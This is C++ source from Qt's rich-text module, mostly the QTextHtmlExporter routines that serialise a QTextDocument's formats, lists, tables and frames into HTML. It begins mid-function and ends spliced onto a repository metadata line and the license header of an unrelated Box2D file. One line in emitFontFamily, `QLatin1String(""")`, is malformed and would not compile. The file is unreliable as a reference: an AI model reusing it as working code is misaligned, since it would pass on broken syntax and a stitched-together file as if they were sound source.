r = pm;
}
}
d->cachedResources.insert(name, r);
}
return r;
}
static QTextFormat formatDifference(const QTextFormat &from, const QTextFormat &to)
{
QTextFormat diff = to;
const QMap<int, QVariant> props = to.properties();
for (QMap<int, QVariant>::ConstIterator it = props.begin(), end = props.end();
it != end; ++it)
if (it.value() == from.property(it.key()))
diff.clearProperty(it.key());
return diff;
}
static QString colorValue(QColor color)
{
QString result;
if (color.alpha() == 255) {
result = color.name();
} else if (color.alpha()) {
QString alphaValue = QString::number(color.alphaF(), 'f', 6).remove(QRegExp(QLatin1String("\\.?0*$")));
result = QString::fromLatin1("rgba(%1,%2,%3,%4)").arg(color.red())
.arg(color.green())
.arg(color.blue())
.arg(alphaValue);
} else {
result = QLatin1String("transparent");
}
return result;
}
QTextHtmlExporter::QTextHtmlExporter(const QTextDocument *_doc)
: doc(_doc), fragmentMarkers(false)
{
const QFont defaultFont = doc->defaultFont();
defaultCharFormat.setFont(defaultFont);
// don't export those for the default font since we cannot turn them off with CSS
defaultCharFormat.clearProperty(QTextFormat::FontUnderline);
defaultCharFormat.clearProperty(QTextFormat::FontOverline);
defaultCharFormat.clearProperty(QTextFormat::FontStrikeOut);
defaultCharFormat.clearProperty(QTextFormat::TextUnderlineStyle);
}
/*!
Returns the document in HTML format. The conversion may not be
perfect, especially for complex documents, due to the limitations
of HTML.
*/
QString QTextHtmlExporter::toHtml(const QByteArray &encoding, ExportMode mode)
{
html = QLatin1String("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" "
"\"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" />");
html.reserve(doc->docHandle()->length());
fragmentMarkers = (mode == ExportFragment);
if (!encoding.isEmpty())
html += QString::fromLatin1("<meta http-equiv=\"Content-Type\" content=\"text/html; charset=%1\" />").arg(QString::fromLatin1(encoding));
QString title = doc->metaInformation(QTextDocument::DocumentTitle);
if (!title.isEmpty())
html += QString::fromLatin1("<title>") + title + QString::fromLatin1("</title>");
html += QLatin1String("<style type=\"text/css\">\n");
html += QLatin1String("p, li { white-space: pre-wrap; }\n");
html += QLatin1String("</style>");
html += QLatin1String("</head><body");
if (mode == ExportEntireDocument) {
html += QLatin1String(" style=\"");
emitFontFamily(defaultCharFormat.fontFamily());
if (defaultCharFormat.hasProperty(QTextFormat::FontPointSize)) {
html += QLatin1String(" font-size:");
html += QString::number(defaultCharFormat.fontPointSize());
html += QLatin1String("pt;");
} else if (defaultCharFormat.hasProperty(QTextFormat::FontPixelSize)) {
html += QLatin1String(" font-size:");
html += QString::number(defaultCharFormat.intProperty(QTextFormat::FontPixelSize));
html += QLatin1String("px;");
}
html += QLatin1String(" font-weight:");
html += QString::number(defaultCharFormat.fontWeight() * 8);
html += QLatin1Char(';');
html += QLatin1String(" font-style:");
html += (defaultCharFormat.fontItalic() ? QLatin1String("italic") : QLatin1String("normal"));
html += QLatin1Char(';');
// do not set text-decoration on the default font since those values are /always/ propagated
// and cannot be turned off with CSS
html += QLatin1Char('\"');
const QTextFrameFormat fmt = doc->rootFrame()->frameFormat();
emitBackgroundAttribute(fmt);
} else {
defaultCharFormat = QTextCharFormat();
}
html += QLatin1Char('>');
QTextFrameFormat rootFmt = doc->rootFrame()->frameFormat();
rootFmt.clearProperty(QTextFormat::BackgroundBrush);
QTextFrameFormat defaultFmt;
defaultFmt.setMargin(doc->documentMargin());
if (rootFmt == defaultFmt)
emitFrame(doc->rootFrame()->begin());
else
emitTextFrame(doc->rootFrame());
html += QLatin1String("</body></html>");
return html;
}
void QTextHtmlExporter::emitAttribute(const char *attribute, const QString &value)
{
html += QLatin1Char(' ');
html += QLatin1String(attribute);
html += QLatin1String("=\"");
html += value.toHtmlEscaped();
html += QLatin1Char('"');
}
bool QTextHtmlExporter::emitCharFormatStyle(const QTextCharFormat &format)
{
bool attributesEmitted = false;
{
const QString family = format.fontFamily();
if (!family.isEmpty() && family != defaultCharFormat.fontFamily()) {
emitFontFamily(family);
attributesEmitted = true;
}
}
if (format.hasProperty(QTextFormat::FontPointSize)
&& format.fontPointSize() != defaultCharFormat.fontPointSize()) {
html += QLatin1String(" font-size:");
html += QString::number(format.fontPointSize());
html += QLatin1String("pt;");
attributesEmitted = true;
} else if (format.hasProperty(QTextFormat::FontSizeAdjustment)) {
static const char sizeNameData[] =
"small" "\0"
"medium" "\0"
"xx-large" ;
static const quint8 sizeNameOffsets[] = {
0, // "small"
sizeof("small"), // "medium"
sizeof("small") + sizeof("medium") + 3, // "large" )
sizeof("small") + sizeof("medium") + 1, // "x-large" )> compressed into "xx-large"
sizeof("small") + sizeof("medium"), // "xx-large" )
};
const char *name = 0;
const int idx = format.intProperty(QTextFormat::FontSizeAdjustment) + 1;
if (idx >= 0 && idx <= 4) {
name = sizeNameData + sizeNameOffsets[idx];
}
if (name) {
html += QLatin1String(" font-size:");
html += QLatin1String(name);
html += QLatin1Char(';');
attributesEmitted = true;
}
} else if (format.hasProperty(QTextFormat::FontPixelSize)) {
html += QLatin1String(" font-size:");
html += QString::number(format.intProperty(QTextFormat::FontPixelSize));
html += QLatin1String("px;");
attributesEmitted = true;
}
if (format.hasProperty(QTextFormat::FontWeight)
&& format.fontWeight() != defaultCharFormat.fontWeight()) {
html += QLatin1String(" font-weight:");
html += QString::number(format.fontWeight() * 8);
html += QLatin1Char(';');
attributesEmitted = true;
}
if (format.hasProperty(QTextFormat::FontItalic)
&& format.fontItalic() != defaultCharFormat.fontItalic()) {
html += QLatin1String(" font-style:");
html += (format.fontItalic() ? QLatin1String("italic") : QLatin1String("normal"));
html += QLatin1Char(';');
attributesEmitted = true;
}
QLatin1String decorationTag(" text-decoration:");
html += decorationTag;
bool hasDecoration = false;
bool atLeastOneDecorationSet = false;
if ((format.hasProperty(QTextFormat::FontUnderline) || format.hasProperty(QTextFormat::TextUnderlineStyle))
&& format.fontUnderline() != defaultCharFormat.fontUnderline()) {
hasDecoration = true;
if (format.fontUnderline()) {
html += QLatin1String(" underline");
atLeastOneDecorationSet = true;
}
}
if (format.hasProperty(QTextFormat::FontOverline)
&& format.fontOverline() != defaultCharFormat.fontOverline()) {
hasDecoration = true;
if (format.fontOverline()) {
html += QLatin1String(" overline");
atLeastOneDecorationSet = true;
}
}
if (format.hasProperty(QTextFormat::FontStrikeOut)
&& format.fontStrikeOut() != defaultCharFormat.fontStrikeOut()) {
hasDecoration = true;
if (format.fontStrikeOut()) {
html += QLatin1String(" line-through");
atLeastOneDecorationSet = true;
}
}
if (hasDecoration) {
if (!atLeastOneDecorationSet)
html += QLatin1String("none");
html += QLatin1Char(';');
attributesEmitted = true;
} else {
html.chop(qstrlen(decorationTag.latin1()));
}
if (format.foreground() != defaultCharFormat.foreground()
&& format.foreground().style() != Qt::NoBrush) {
html += QLatin1String(" color:");
html += colorValue(format.foreground().color());
html += QLatin1Char(';');
attributesEmitted = true;
}
if (format.background() != defaultCharFormat.background()
&& format.background().style() == Qt::SolidPattern) {
html += QLatin1String(" background-color:");
html += colorValue(format.background().color());
html += QLatin1Char(';');
attributesEmitted = true;
}
if (format.verticalAlignment() != defaultCharFormat.verticalAlignment()
&& format.verticalAlignment() != QTextCharFormat::AlignNormal)
{
html += QLatin1String(" vertical-align:");
QTextCharFormat::VerticalAlignment valign = format.verticalAlignment();
if (valign == QTextCharFormat::AlignSubScript)
html += QLatin1String("sub");
else if (valign == QTextCharFormat::AlignSuperScript)
html += QLatin1String("super");
else if (valign == QTextCharFormat::AlignMiddle)
html += QLatin1String("middle");
else if (valign == QTextCharFormat::AlignTop)
html += QLatin1String("top");
else if (valign == QTextCharFormat::AlignBottom)
html += QLatin1String("bottom");
html += QLatin1Char(';');
attributesEmitted = true;
}
if (format.fontCapitalization() != QFont::MixedCase) {
const QFont::Capitalization caps = format.fontCapitalization();
if (caps == QFont::AllUppercase)
html += QLatin1String(" text-transform:uppercase;");
else if (caps == QFont::AllLowercase)
html += QLatin1String(" text-transform:lowercase;");
else if (caps == QFont::SmallCaps)
html += QLatin1String(" font-variant:small-caps;");
attributesEmitted = true;
}
if (format.fontWordSpacing() != 0.0) {
html += QLatin1String(" word-spacing:");
html += QString::number(format.fontWordSpacing());
html += QLatin1String("px;");
attributesEmitted = true;
}
return attributesEmitted;
}
void QTextHtmlExporter::emitTextLength(const char *attribute, const QTextLength &length)
{
if (length.type() == QTextLength::VariableLength) // default
return;
html += QLatin1Char(' ');
html += QLatin1String(attribute);
html += QLatin1String("=\"");
html += QString::number(length.rawValue());
if (length.type() == QTextLength::PercentageLength)
html += QLatin1String("%\"");
else
html += QLatin1Char('\"');
}
void QTextHtmlExporter::emitAlignment(Qt::Alignment align)
{
if (align & Qt::AlignLeft)
return;
else if (align & Qt::AlignRight)
html += QLatin1String(" align=\"right\"");
else if (align & Qt::AlignHCenter)
html += QLatin1String(" align=\"center\"");
else if (align & Qt::AlignJustify)
html += QLatin1String(" align=\"justify\"");
}
void QTextHtmlExporter::emitFloatStyle(QTextFrameFormat::Position pos, StyleMode mode)
{
if (pos == QTextFrameFormat::InFlow)
return;
if (mode == EmitStyleTag)
html += QLatin1String(" style=\"float:");
else
html += QLatin1String(" float:");
if (pos == QTextFrameFormat::FloatLeft)
html += QLatin1String(" left;");
else if (pos == QTextFrameFormat::FloatRight)
html += QLatin1String(" right;");
else
Q_ASSERT_X(0, "QTextHtmlExporter::emitFloatStyle()", "pos should be a valid enum type");
if (mode == EmitStyleTag)
html += QLatin1Char('\"');
}
void QTextHtmlExporter::emitBorderStyle(QTextFrameFormat::BorderStyle style)
{
Q_ASSERT(style <= QTextFrameFormat::BorderStyle_Outset);
html += QLatin1String(" border-style:");
switch (style) {
case QTextFrameFormat::BorderStyle_None:
html += QLatin1String("none");
break;
case QTextFrameFormat::BorderStyle_Dotted:
html += QLatin1String("dotted");
break;
case QTextFrameFormat::BorderStyle_Dashed:
html += QLatin1String("dashed");
break;
case QTextFrameFormat::BorderStyle_Solid:
html += QLatin1String("solid");
break;
case QTextFrameFormat::BorderStyle_Double:
html += QLatin1String("double");
break;
case QTextFrameFormat::BorderStyle_DotDash:
html += QLatin1String("dot-dash");
break;
case QTextFrameFormat::BorderStyle_DotDotDash:
html += QLatin1String("dot-dot-dash");
break;
case QTextFrameFormat::BorderStyle_Groove:
html += QLatin1String("groove");
break;
case QTextFrameFormat::BorderStyle_Ridge:
html += QLatin1String("ridge");
break;
case QTextFrameFormat::BorderStyle_Inset:
html += QLatin1String("inset");
break;
case QTextFrameFormat::BorderStyle_Outset:
html += QLatin1String("outset");
break;
default:
Q_ASSERT(false);
break;
};
html += QLatin1Char(';');
}
void QTextHtmlExporter::emitPageBreakPolicy(QTextFormat::PageBreakFlags policy)
{
if (policy & QTextFormat::PageBreak_AlwaysBefore)
html += QLatin1String(" page-break-before:always;");
if (policy & QTextFormat::PageBreak_AlwaysAfter)
html += QLatin1String(" page-break-after:always;");
}
void QTextHtmlExporter::emitFontFamily(const QString &family)
{
html += QLatin1String(" font-family:");
QLatin1String quote("\'");
if (family.contains(QLatin1Char('\'')))
quote = QLatin1String(""");
html += quote;
html += family.toHtmlEscaped();
html += quote;
html += QLatin1Char(';');
}
void QTextHtmlExporter::emitMargins(const QString &top, const QString &bottom, const QString &left, const QString &right)
{
html += QLatin1String(" margin-top:");
html += top;
html += QLatin1String("px;");
html += QLatin1String(" margin-bottom:");
html += bottom;
html += QLatin1String("px;");
html += QLatin1String(" margin-left:");
html += left;
html += QLatin1String("px;");
html += QLatin1String(" margin-right:");
html += right;
html += QLatin1String("px;");
}
void QTextHtmlExporter::emitFragment(const QTextFragment &fragment)
{
const QTextCharFormat format = fragment.charFormat();
bool closeAnchor = false;
if (format.isAnchor()) {
const QString name = format.anchorName();
if (!name.isEmpty()) {
html += QLatin1String("<a name=\"");
html += name.toHtmlEscaped();
html += QLatin1String("\"></a>");
}
const QString href = format.anchorHref();
if (!href.isEmpty()) {
html += QLatin1String("<a href=\"");
html += href.toHtmlEscaped();
html += QLatin1String("\">");
closeAnchor = true;
}
}
QString txt = fragment.text();
const bool isObject = txt.contains(QChar::ObjectReplacementCharacter);
const bool isImage = isObject && format.isImageFormat();
QLatin1String styleTag("<span style=\"");
html += styleTag;
bool attributesEmitted = false;
if (!isImage)
attributesEmitted = emitCharFormatStyle(format);
if (attributesEmitted)
html += QLatin1String("\">");
else
html.chop(qstrlen(styleTag.latin1()));
if (isObject) {
for (int i = 0; isImage && i < txt.length(); ++i) {
QTextImageFormat imgFmt = format.toImageFormat();
html += QLatin1String("<img");
if (imgFmt.hasProperty(QTextFormat::ImageName))
emitAttribute("src", imgFmt.name());
if (imgFmt.hasProperty(QTextFormat::ImageWidth))
emitAttribute("width", QString::number(imgFmt.width()));
if (imgFmt.hasProperty(QTextFormat::ImageHeight))
emitAttribute("height", QString::number(imgFmt.height()));
if (imgFmt.verticalAlignment() == QTextCharFormat::AlignMiddle)
html += QLatin1String(" style=\"vertical-align: middle;\"");
else if (imgFmt.verticalAlignment() == QTextCharFormat::AlignTop)
html += QLatin1String(" style=\"vertical-align: top;\"");
if (QTextFrame *imageFrame = qobject_cast<QTextFrame *>(doc->objectForFormat(imgFmt)))
emitFloatStyle(imageFrame->frameFormat().position());
html += QLatin1String(" />");
}
} else {
Q_ASSERT(!txt.contains(QChar::ObjectReplacementCharacter));
txt = txt.toHtmlEscaped();
// split for [\n{LineSeparator}]
QString forcedLineBreakRegExp = QString::fromLatin1("[\\na]");
forcedLineBreakRegExp[3] = QChar::LineSeparator;
const QStringList lines = txt.split(QRegExp(forcedLineBreakRegExp));
for (int i = 0; i < lines.count(); ++i) {
if (i > 0)
html += QLatin1String("<br />"); // space on purpose for compatibility with Netscape, Lynx & Co.
html += lines.at(i);
}
}
if (attributesEmitted)
html += QLatin1String("</span>");
if (closeAnchor)
html += QLatin1String("</a>");
}
static bool isOrderedList(int style)
{
return style == QTextListFormat::ListDecimal || style == QTextListFormat::ListLowerAlpha
|| style == QTextListFormat::ListUpperAlpha
|| style == QTextListFormat::ListUpperRoman
|| style == QTextListFormat::ListLowerRoman
;
}
void QTextHtmlExporter::emitBlockAttributes(const QTextBlock &block)
{
QTextBlockFormat format = block.blockFormat();
emitAlignment(format.alignment());
// assume default to not bloat the html too much
// html += QLatin1String(" dir='ltr'");
if (block.textDirection() == Qt::RightToLeft)
html += QLatin1String(" dir='rtl'");
QLatin1String style(" style=\"");
html += style;
const bool emptyBlock = block.begin().atEnd();
if (emptyBlock) {
html += QLatin1String("-qt-paragraph-type:empty;");
}
emitMargins(QString::number(format.topMargin()),
QString::number(format.bottomMargin()),
QString::number(format.leftMargin()),
QString::number(format.rightMargin()));
html += QLatin1String(" -qt-block-indent:");
html += QString::number(format.indent());
html += QLatin1Char(';');
html += QLatin1String(" text-indent:");
html += QString::number(format.textIndent());
html += QLatin1String("px;");
if (block.userState() != -1) {
html += QLatin1String(" -qt-user-state:");
html += QString::number(block.userState());
html += QLatin1Char(';');
}
if (format.lineHeightType() != QTextBlockFormat::SingleHeight) {
switch (format.lineHeightType()) {
case QTextBlockFormat::ProportionalHeight:
case QTextBlockFormat::FixedHeight:
html += QLatin1String(" line-height:");
break;
case QTextBlockFormat::MinimumHeight:
html += QLatin1String(" min-height:");
break;
case QTextBlockFormat::LineDistanceHeight:
html += QLatin1String(" line-spacing:");
break;
case QTextBlockFormat::SingleHeight:
default:
break; // Should never reach here
}
html += QString::number(format.lineHeight());
if (format.lineHeightType() == QTextBlockFormat::ProportionalHeight)
html += QLatin1String("%;");
else
html += QLatin1String("px;");
}
emitPageBreakPolicy(format.pageBreakPolicy());
QTextCharFormat diff;
if (emptyBlock) { // only print character properties when we don't expect them to be repeated by actual text in the parag
const QTextCharFormat blockCharFmt = block.charFormat();
diff = formatDifference(defaultCharFormat, blockCharFmt).toCharFormat();
}
diff.clearProperty(QTextFormat::BackgroundBrush);
if (format.hasProperty(QTextFormat::BackgroundBrush)) {
QBrush bg = format.background();
if (bg.style() != Qt::NoBrush)
diff.setProperty(QTextFormat::BackgroundBrush, format.property(QTextFormat::BackgroundBrush));
}
if (!diff.properties().isEmpty())
emitCharFormatStyle(diff);
html += QLatin1Char('"');
}
void QTextHtmlExporter::emitBlock(const QTextBlock &block)
{
if (block.begin().atEnd()) {
// ### HACK, remove once QTextFrame::Iterator is fixed
int p = block.position();
if (p > 0)
--p;
QTextDocumentPrivate::FragmentIterator frag = doc->docHandle()->find(p);
QChar ch = doc->docHandle()->buffer().at(frag->stringPosition);
if (ch == QTextBeginningOfFrame
|| ch == QTextEndOfFrame)
return;
}
html += QLatin1Char('\n');
// save and later restore, in case we 'change' the default format by
// emitting block char format information
QTextCharFormat oldDefaultCharFormat = defaultCharFormat;
QTextList *list = block.textList();
if (list) {
if (list->itemNumber(block) == 0) { // first item? emit <ul> or appropriate
const QTextListFormat format = list->format();
const int style = format.style();
switch (style) {
case QTextListFormat::ListDecimal: html += QLatin1String("<ol"); break;
case QTextListFormat::ListDisc: html += QLatin1String("<ul"); break;
case QTextListFormat::ListCircle: html += QLatin1String("<ul type=\"circle\""); break;
case QTextListFormat::ListSquare: html += QLatin1String("<ul type=\"square\""); break;
case QTextListFormat::ListLowerAlpha: html += QLatin1String("<ol type=\"a\""); break;
case QTextListFormat::ListUpperAlpha: html += QLatin1String("<ol type=\"A\""); break;
case QTextListFormat::ListLowerRoman: html += QLatin1String("<ol type=\"i\""); break;
case QTextListFormat::ListUpperRoman: html += QLatin1String("<ol type=\"I\""); break;
default: html += QLatin1String("<ul"); // ### should not happen
}
QString styleString = QString::fromLatin1("margin-top: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px;");
if (format.hasProperty(QTextFormat::ListIndent)) {
styleString += QLatin1String(" -qt-list-indent: ");
styleString += QString::number(format.indent());
styleString += QLatin1Char(';');
}
if (format.hasProperty(QTextFormat::ListNumberPrefix)) {
QString numberPrefix = format.numberPrefix();
numberPrefix.replace(QLatin1Char('"'), QLatin1String("\\22"));
numberPrefix.replace(QLatin1Char('\''), QLatin1String("\\27")); // FIXME: There's a problem in the CSS parser the prevents this from being correctly restored
styleString += QLatin1String(" -qt-list-number-prefix: ");
styleString += QLatin1Char('\'');
styleString += numberPrefix;
styleString += QLatin1Char('\'');
styleString += QLatin1Char(';');
}
if (format.hasProperty(QTextFormat::ListNumberSuffix)) {
if (format.numberSuffix() != QLatin1String(".")) { // this is our default
QString numberSuffix = format.numberSuffix();
numberSuffix.replace(QLatin1Char('"'), QLatin1String("\\22"));
numberSuffix.replace(QLatin1Char('\''), QLatin1String("\\27")); // see above
styleString += QLatin1String(" -qt-list-number-suffix: ");
styleString += QLatin1Char('\'');
styleString += numberSuffix;
styleString += QLatin1Char('\'');
styleString += QLatin1Char(';');
}
}
html += QLatin1String(" style=\"");
html += styleString;
html += QLatin1String("\">");
}
html += QLatin1String("<li");
const QTextCharFormat blockFmt = formatDifference(defaultCharFormat, block.charFormat()).toCharFormat();
if (!blockFmt.properties().isEmpty()) {
html += QLatin1String(" style=\"");
emitCharFormatStyle(blockFmt);
html += QLatin1Char('\"');
defaultCharFormat.merge(block.charFormat());
}
}
const QTextBlockFormat blockFormat = block.blockFormat();
if (blockFormat.hasProperty(QTextFormat::BlockTrailingHorizontalRulerWidth)) {
html += QLatin1String("<hr");
QTextLength width = blockFormat.lengthProperty(QTextFormat::BlockTrailingHorizontalRulerWidth);
if (width.type() != QTextLength::VariableLength)
emitTextLength("width", width);
else
html += QLatin1Char(' ');
html += QLatin1String("/>");
return;
}
const bool pre = blockFormat.nonBreakableLines();
if (pre) {
if (list)
html += QLatin1Char('>');
html += QLatin1String("<pre");
} else if (!list) {
html += QLatin1String("<p");
}
emitBlockAttributes(block);
html += QLatin1Char('>');
if (block.begin().atEnd())
html += QLatin1String("<br />");
QTextBlock::Iterator it = block.begin();
if (fragmentMarkers && !it.atEnd() && block == doc->begin())
html += QLatin1String("<!--StartFragment-->");
for (; !it.atEnd(); ++it)
emitFragment(it.fragment());
if (fragmentMarkers && block.position() + block.length() == doc->docHandle()->length())
html += QLatin1String("<!--EndFragment-->");
if (pre)
html += QLatin1String("</pre>");
else if (list)
html += QLatin1String("</li>");
else
html += QLatin1String("</p>");
if (list) {
if (list->itemNumber(block) == list->count() - 1) { // last item? close list
if (isOrderedList(list->format().style()))
html += QLatin1String("</ol>");
else
html += QLatin1String("</ul>");
}
}
defaultCharFormat = oldDefaultCharFormat;
}
extern bool qHasPixmapTexture(const QBrush& brush);
QString QTextHtmlExporter::findUrlForImage(const QTextDocument *doc, qint64 cacheKey, bool isPixmap)
{
QString url;
if (!doc)
return url;
if (QTextDocument *parent = qobject_cast<QTextDocument *>(doc->parent()))
return findUrlForImage(parent, cacheKey, isPixmap);
if (doc && doc->docHandle()) {
QTextDocumentPrivate *priv = doc->docHandle();
QMap<QUrl, QVariant>::const_iterator it = priv->cachedResources.constBegin();
for (; it != priv->cachedResources.constEnd(); ++it) {
const QVariant &v = it.value();
if (v.type() == QVariant::Image && !isPixmap) {
if (qvariant_cast<QImage>(v).cacheKey() == cacheKey)
break;
}
if (v.type() == QVariant::Pixmap && isPixmap) {
if (qvariant_cast<QPixmap>(v).cacheKey() == cacheKey)
break;
}
}
if (it != priv->cachedResources.constEnd())
url = it.key().toString();
}
return url;
}
void QTextDocumentPrivate::mergeCachedResources(const QTextDocumentPrivate *priv)
{
if (!priv)
return;
cachedResources.unite(priv->cachedResources);
}
void QTextHtmlExporter::emitBackgroundAttribute(const QTextFormat &format)
{
if (format.hasProperty(QTextFormat::BackgroundImageUrl)) {
QString url = format.property(QTextFormat::BackgroundImageUrl).toString();
emitAttribute("background", url);
} else {
const QBrush &brush = format.background();
if (brush.style() == Qt::SolidPattern) {
emitAttribute("bgcolor", colorValue(brush.color()));
} else if (brush.style() == Qt::TexturePattern) {
const bool isPixmap = qHasPixmapTexture(brush);
const qint64 cacheKey = isPixmap ? brush.texture().cacheKey() : brush.textureImage().cacheKey();
const QString url = findUrlForImage(doc, cacheKey, isPixmap);
if (!url.isEmpty())
emitAttribute("background", url);
}
}
}
void QTextHtmlExporter::emitTable(const QTextTable *table)
{
QTextTableFormat format = table->format();
html += QLatin1String("\n<table");
if (format.hasProperty(QTextFormat::FrameBorder))
emitAttribute("border", QString::number(format.border()));
emitFrameStyle(format, TableFrame);
emitAlignment(format.alignment());
emitTextLength("width", format.width());
if (format.hasProperty(QTextFormat::TableCellSpacing))
emitAttribute("cellspacing", QString::number(format.cellSpacing()));
if (format.hasProperty(QTextFormat::TableCellPadding))
emitAttribute("cellpadding", QString::number(format.cellPadding()));
emitBackgroundAttribute(format);
html += QLatin1Char('>');
const int rows = table->rows();
const int columns = table->columns();
QVector<QTextLength> columnWidths = format.columnWidthConstraints();
if (columnWidths.isEmpty()) {
columnWidths.resize(columns);
columnWidths.fill(QTextLength());
}
Q_ASSERT(columnWidths.count() == columns);
QVarLengthArray<bool> widthEmittedForColumn(columns);
for (int i = 0; i < columns; ++i)
widthEmittedForColumn[i] = false;
const int headerRowCount = qMin(format.headerRowCount(), rows);
if (headerRowCount > 0)
html += QLatin1String("<thead>");
for (int row = 0; row < rows; ++row) {
html += QLatin1String("\n<tr>");
for (int col = 0; col < columns; ++col) {
const QTextTableCell cell = table->cellAt(row, col);
// for col/rowspans
if (cell.row() != row)
continue;
if (cell.column() != col)
continue;
html += QLatin1String("\n<td");
if (!widthEmittedForColumn[col] && cell.columnSpan() == 1) {
emitTextLength("width", columnWidths.at(col));
widthEmittedForColumn[col] = true;
}
if (cell.columnSpan() > 1)
emitAttribute("colspan", QString::number(cell.columnSpan()));
if (cell.rowSpan() > 1)
emitAttribute("rowspan", QString::number(cell.rowSpan()));
const QTextTableCellFormat cellFormat = cell.format().toTableCellFormat();
emitBackgroundAttribute(cellFormat);
QTextCharFormat oldDefaultCharFormat = defaultCharFormat;
QTextCharFormat::VerticalAlignment valign = cellFormat.verticalAlignment();
QString styleString;
if (valign >= QTextCharFormat::AlignMiddle && valign <= QTextCharFormat::AlignBottom) {
styleString += QLatin1String(" vertical-align:");
switch (valign) {
case QTextCharFormat::AlignMiddle:
styleString += QLatin1String("middle");
break;
case QTextCharFormat::AlignTop:
styleString += QLatin1String("top");
break;
case QTextCharFormat::AlignBottom:
styleString += QLatin1String("bottom");
break;
default:
break;
}
styleString += QLatin1Char(';');
QTextCharFormat temp;
temp.setVerticalAlignment(valign);
defaultCharFormat.merge(temp);
}
if (cellFormat.hasProperty(QTextFormat::TableCellLeftPadding))
styleString += QLatin1String(" padding-left:") + QString::number(cellFormat.leftPadding()) + QLatin1Char(';');
if (cellFormat.hasProperty(QTextFormat::TableCellRightPadding))
styleString += QLatin1String(" padding-right:") + QString::number(cellFormat.rightPadding()) + QLatin1Char(';');
if (cellFormat.hasProperty(QTextFormat::TableCellTopPadding))
styleString += QLatin1String(" padding-top:") + QString::number(cellFormat.topPadding()) + QLatin1Char(';');
if (cellFormat.hasProperty(QTextFormat::TableCellBottomPadding))
styleString += QLatin1String(" padding-bottom:") + QString::number(cellFormat.bottomPadding()) + QLatin1Char(';');
if (!styleString.isEmpty())
html += QLatin1String(" style=\"") + styleString + QLatin1Char('\"');
html += QLatin1Char('>');
emitFrame(cell.begin());
html += QLatin1String("</td>");
defaultCharFormat = oldDefaultCharFormat;
}
html += QLatin1String("</tr>");
if (headerRowCount > 0 && row == headerRowCount - 1)
html += QLatin1String("</thead>");
}
html += QLatin1String("</table>");
}
void QTextHtmlExporter::emitFrame(QTextFrame::Iterator frameIt)
{
if (!frameIt.atEnd()) {
QTextFrame::Iterator next = frameIt;
++next;
if (next.atEnd()
&& frameIt.currentFrame() == 0
&& frameIt.parentFrame() != doc->rootFrame()
&& frameIt.currentBlock().begin().atEnd())
return;
}
for (QTextFrame::Iterator it = frameIt;
!it.atEnd(); ++it) {
if (QTextFrame *f = it.currentFrame()) {
if (QTextTable *table = qobject_cast<QTextTable *>(f)) {
emitTable(table);
} else {
emitTextFrame(f);
}
} else if (it.currentBlock().isValid()) {
emitBlock(it.currentBlock());
}
}
}
void QTextHtmlExporter::emitTextFrame(const QTextFrame *f)
{
FrameType frameType = f->parentFrame() ? TextFrame : RootFrame;
html += QLatin1String("\n<table");
QTextFrameFormat format = f->frameFormat();
if (format.hasProperty(QTextFormat::FrameBorder))
emitAttribute("border", QString::number(format.border()));
emitFrameStyle(format, frameType);
emitTextLength("width", format.width());
emitTextLength("height", format.height());
// root frame's bcolor goes in the <body> tag
if (frameType != RootFrame)
emitBackgroundAttribute(format);
html += QLatin1Char('>');
html += QLatin1String("\n<tr>\n<td style=\"border: none;\">");
emitFrame(f->begin());
html += QLatin1String("</td></tr></table>");
}
void QTextHtmlExporter::emitFrameStyle(const QTextFrameFormat &format, FrameType frameType)
{
QLatin1String styleAttribute(" style=\"");
html += styleAttribute;
const int originalHtmlLength = html.length();
if (frameType == TextFrame)
html += QLatin1String("-qt-table-type: frame;");
else if (frameType == RootFrame)
html += QLatin1String("-qt-table-type: root;");
const QTextFrameFormat defaultFormat;
emitFloatStyle(format.position(), OmitStyleTag);
emitPageBreakPolicy(format.pageBreakPolicy());
if (format.borderBrush() != defaultFormat.borderBrush()) {
html += QLatin1String(" border-color:");
html += colorValue(format.borderBrush().color());
html += QLatin1Char(';');
}
if (format.borderStyle() != defaultFormat.borderStyle())
emitBorderStyle(format.borderStyle());
if (format.hasProperty(QTextFormat::FrameMargin)
|| format.hasProperty(QTextFormat::FrameLeftMargin)
|| format.hasProperty(QTextFormat::FrameRightMargin)
|| format.hasProperty(QTextFormat::FrameTopMargin)
|| format.hasProperty(QTextFormat::FrameBottomMargin))
emitMargins(QString::number(format.topMargin()),
QString::number(format.bottomMargin()),
QString::number(format.leftMargin()),
QString::number(format.rightMargin()));
if (html.length() == originalHtmlLength) // nothing emitted?
html.chop(qstrlen(styleAttribute.latin1()));
else
html += QLatin1Char('\"');
}
/*!
Returns a string containing an HTML representation of the document.
The \a encoding parameter specifies the value for the charset attribute
in the html header. For example if 'utf-8' is specified then the
beginning of the generated html will look like this:
\snippet code/src_gui_text_qtextdocument.cpp 0
If no encoding is specified then no such meta information is generated.
If you later on convert the returned html string into a byte array for
transmission over a network or when saving to disk you should specify
the encoding you're going to use for the conversion to a byte array here.
\sa {Supported HTML Subset}
*/
#ifndef QT_NO_TEXTHTMLPARSER
QString QTextDocument::toHtml(const QByteArray &encoding) const
{
return QTextHtmlExporter(this).toHtml(encoding);
}
#endif // QT_NO_TEXTHTMLPARSER
/*!
Returns a vector of text formats for all the formats used in the document.
*/
QVector<QTextFormat> QTextDocument::allFormats() const
{
Q_D(const QTextDocument);
return d->formatCollection()->formats;
}
/*!
\internal
So that not all classes have to be friends of each other...
*/
QTextDocumentPrivate *QTextDocument::docHandle() const
{
Q_D(const QTextDocument);
return const_cast<QTextDocumentPrivate *>(d);
}
/*!
\since 4.4
\fn QTextDocument::undoCommandAdded()
This signal is emitted every time a new level of undo is added to the QTextDocument.
*/
QT_END_NAMESPACE
| bsd-3-clause |
davebaol/libgdx | extensions/gdx-box2d/gdx-box2d/jni/Box2D/Dynamics/Joints/b2FrictionJoint.cpp | 6893 | /*
* Copyright (c) 2006-2011 Erin Catto http://www.box2d.org
*
* This software is provided 'as-is', without any express or implied
* warranty. In no event will the authors be held liable for any damages
* arising from the use of this software.
* Permission is granted to anyone to use this software for any purpose,
* including commercial applications, and to alter it and redistribute it
* freely, subject to the following restrictions:
* 1. The origin of this software must not be misrepresented; you must not
* claim that you wrote the original software. If you use this software
* in a product, an acknowledgment in the product documentation would be
* appreciated but is not required.
* 2. Altered source versions must be plainly marked as such, and must not be
* misrepresented as being the original software.
* 3. This notice may not be removed or altered from any source distribution.
*/
